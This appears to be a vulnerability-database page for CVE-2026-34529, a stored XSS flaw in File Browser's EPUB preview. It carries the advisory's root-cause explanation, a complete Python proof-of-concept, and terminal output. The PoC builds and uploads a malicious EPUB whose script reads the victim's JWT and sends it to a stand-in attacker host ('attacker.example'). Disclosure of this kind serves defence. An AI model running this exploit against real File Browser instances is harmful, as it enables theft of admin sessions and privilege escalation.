Python
CVE-2026-34529
HIGH
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file.
Details
frontend/src/views/files/Preview.vue passes allowScriptedContent: true to the vue-reader (epub.js) component:
// frontend/src/views/files/Preview.vue (Line 87)
:epubOptions="{
allowPopups: true,
allowScriptedContent: true,
}"epub.js renders EPUB content inside a sandboxed <iframe> with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which renders the sandbox ineffective - the script can access the parent frame's DOM and storage.
The epub.js developers explicitly warn against enabling scripted content.
PoC
I've crafted the PoC python script that could be ran on test environment using docker compose:
services:
filebrowser:
image: filebrowser/filebrowser:v2.62.1
user: 0:0
ports:
- "80:80"And running this PoC python script:
import argparse
import io
import sys
import zipfile
import requests
BANNER = """
Stored XSS via EPUB PoC
Affected: filebrowser/filebrowser <=v2.62.1
Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }
Related: CVE-2024-35236 (same pattern in audiobookshelf)
"""
CONTAINER_XML = """<?xml version="1.0" encoding="UTF-8"?>
<container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container">
<rootfiles>
<rootfile full-path="OEBPS/content.opf" media-type="application/oebps-package+xml"/>
</rootfiles>
</container>"""
CONTENT_OPF = """<?xml version="1.0" encoding="UTF-8"?>
<package xmlns="http://www.idpf.org/2007/opf" unique-identifier="uid" version="3.0">
<metadata xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:identifier id="uid">poc-xss-epub-001</dc:identifier>
<dc:title>Security Test Document</dc:title>
<dc:language>en</dc:language>
<meta property="dcterms:modified">2025-01-01T00:00:00Z</meta>
</metadata>
<manifest>
<item id="chapter1" href="chapter1.xhtml" media-type="application/xhtml+xml"/>
<item id="nav" href="nav.xhtml" media-type="application/xhtml+xml" properties="nav"/>
</manifest>
<spine>
<itemref idref="chapter1"/>
</spine>
</package>"""
NAV_XHTML = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:epub="http://www.idpf.org/2007/ops">
<head><title>Navigation</title></head>
<body>
<nav epub:type="toc">
<ol><li><a href="chapter1.xhtml">Chapter 1</a></li></ol>
</nav>
</body>
</html>"""
XSS_CHAPTER = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Chapter 1</title></head>
<body>
<h1>Security Test Document</h1>
<p>This document tests EPUB script execution in File Browser.</p>
<p id="xss-proof" style="color: red; font-weight: bold;">Waiting...</p>
<p id="ip-proof" style="color: orange; font-weight: bold;">Fetching IP...</p>
<script>
var out = document.getElementById("xss-proof");
var ipOut = document.getElementById("ip-proof");
var jwt = "not-found";
try { jwt = window.parent.localStorage.getItem("jwt"); } catch(e) { jwt = "error: " + e.message; }
out.innerHTML = "XSS OK" + String.fromCharCode(60) + "br/" + String.fromCharCode(62) + "JWT: " + jwt;
fetch("https://ifconfig.me/ip").then(function(r){ return r.text(); }).then(function(ip){
ipOut.textContent = "Victim public IP: " + ip.trim();
}).catch(function(e){
ipOut.textContent = "IP fetch failed: " + e.message;
});
var img = new Image();
img.src = "https://attacker.example/?stolen=" + encodeURIComponent(jwt);
</script>
</body>
</html>"""
def login(base: str, username: str, password: str) -> str:
r = requests.post(f"{base}/api/login",
json={"username": username, "password": password},
timeout=10)
if r.status_code != 200:
print(f"[-] Login failed: {r.status_code}")
sys.exit(1)
return r.text.strip('"')
def build_epub() -> bytes:
"""Build a minimal EPUB 3 file with embedded JavaScript."""
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr("mimetype", "application/epub+zip", compress_type=zipfile.ZIP_STORED)
zf.writestr("META-INF/container.xml", CONTAINER_XML)
zf.writestr("OEBPS/content.opf", CONTENT_OPF)
zf.writestr("OEBPS/nav.xhtml", NAV_XHTML)
zf.writestr("OEBPS/chapter1.xhtml", XSS_CHAPTER)
return buf.getvalue()
def main():
print(BANNER)
ap = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
description="Stored XSS via malicious EPUB PoC",
epilog="""examples:
%(prog)s -t http://localhost:8080 -u admin -p admin
%(prog)s -t http://target.com/filebrowser -u user -p pass
root cause:
frontend/src/views/files/Preview.vue passes
epubOptions: { allowScriptedContent: true } to the vue-reader
(epub.js) component. The iframe sandbox includes allow-scripts
and allow-same-origin, which lets the script access the parent
frame's localStorage and make arbitrary network requests.
impact:
Session hijacking, privilege escalation, data exfiltration.
A low-privilege user with upload access can steal admin tokens.""",
)
ap.add_argument("-t", "--target", required=True,
help="Base URL of File Browser (e.g. http://localhost:8080)")
ap.add_argument("-u", "--user", required=True,
help="Username to authenticate with")
ap.add_argument("-p", "--password", required=True,
help="Password to authenticate with")
if len(sys.argv) == 1:
ap.print_help()
sys.exit(1)
args = ap.parse_args()
base = args.target.rstrip("/")
print()
print("[*] ATTACK BEGINS...")
print("====================")
print(f" [1] Authenticating to {base}")
token = login(base, args.user, args.password)
print(f" Logged in as: {args.user}")
print(f"\n [2] Building malicious EPUB")
epub_data = build_epub()
print(f" EPUB size: {len(epub_data)} bytes")
upload_path = "/poc_xss_test.epub"
print(f"\n [3] Uploading to {upload_path}")
requests.delete(f"{base}/api/resources{upload_path}",
headers={"X-Auth": token}, timeout=10)
r = requests.post(
f"{base}/api/resources{upload_path}?override=true",
data=epub_data,
headers={
"X-Auth": token,
"Content-Type": "application/epub+zip",
},
timeout=30
)
if r.status_code in (200, 201, 204):
print(f" Upload OK ({r.status_code})")
else:
print(f" Upload FAILED: {r.status_code} {r.text[:200]}")
sys.exit(1)
preview_url = f"{base}/files{upload_path}"
print(f"\n [4] Done")
print(f" Preview URL: {preview_url}")
print("====================")
print()
print()
print(f"Open the URL above in a browser. You should see:")
print(f" - Red text: \"XSS OK\" + stolen JWT token")
print(f" - Orange text: victim's public IP (via ifconfig.me)")
print()
print(f"NOTE: alert() is blocked by iframe sandbox (no allow-modals).")
print(f"The attack is silent - JWT theft and network exfiltration work.")
if __name__ == "__main__":
main()
And terminal output:
root@server205:~/sec-filebrowser
# python3 poc_xss_epub.py -t http://localhost -u admin -p VJlfum8fGTmyXx8t
Stored XSS via EPUB PoC
Affected: filebrowser/filebrowser <=v2.62.1
Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }
Related: CVE-2024-35236 (same pattern in audiobookshelf)
[*] ATTACK BEGINS...
====================
[1] Authenticating to http://localhost
Logged in as: admin
[2] Building malicious EPUB
EPUB size: 1927 bytes
[3] Uploading to /poc_xss_test.epub
Upload OK (200)
[4] Done
Preview URL: http://localhost/files/poc_xss_test.epub
====================
Open the URL above in a browser. You should see:
- Red text: "XSS OK" + stolen JWT token
- Orange text: victim's public IP (via ifconfig.me)
NOTE: alert() is blocked by iframe sandbox (no allow-modals).
The attack is silent - JWT theft and network exfiltration work.<br/>
Impact
- JWT token theft - full session hijacking
- Privilege escalation - a low-privilege user with upload (Create) permission can steal an admin's token
AnalysisAI
Stored XSS in File Browser's EPUB preview function (versions ≤v2.62.1) allows authenticated attackers to steal JWT tokens and escalate privileges by uploading malicious EPUB files. The vulnerability arises from passing allowScriptedContent:true to the epub.js library combined with an ineffective iframe sandbox (allow-scripts + allow-same-origin), enabling JavaScript in crafted EPUBs to access parent frame localStorage. CVSS 7.6 (AV:N/AC:L/PR:L/UI:R/S:C). No public exploit identified at time of analysis beyond the detailed PoC in the advisory. EPSS data not available. Vendor-released patch available per GitHub advisory. Low-privilege users with file upload permissions can weaponize this to compromise administrator sessions.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-5vpr-4fgw-f69h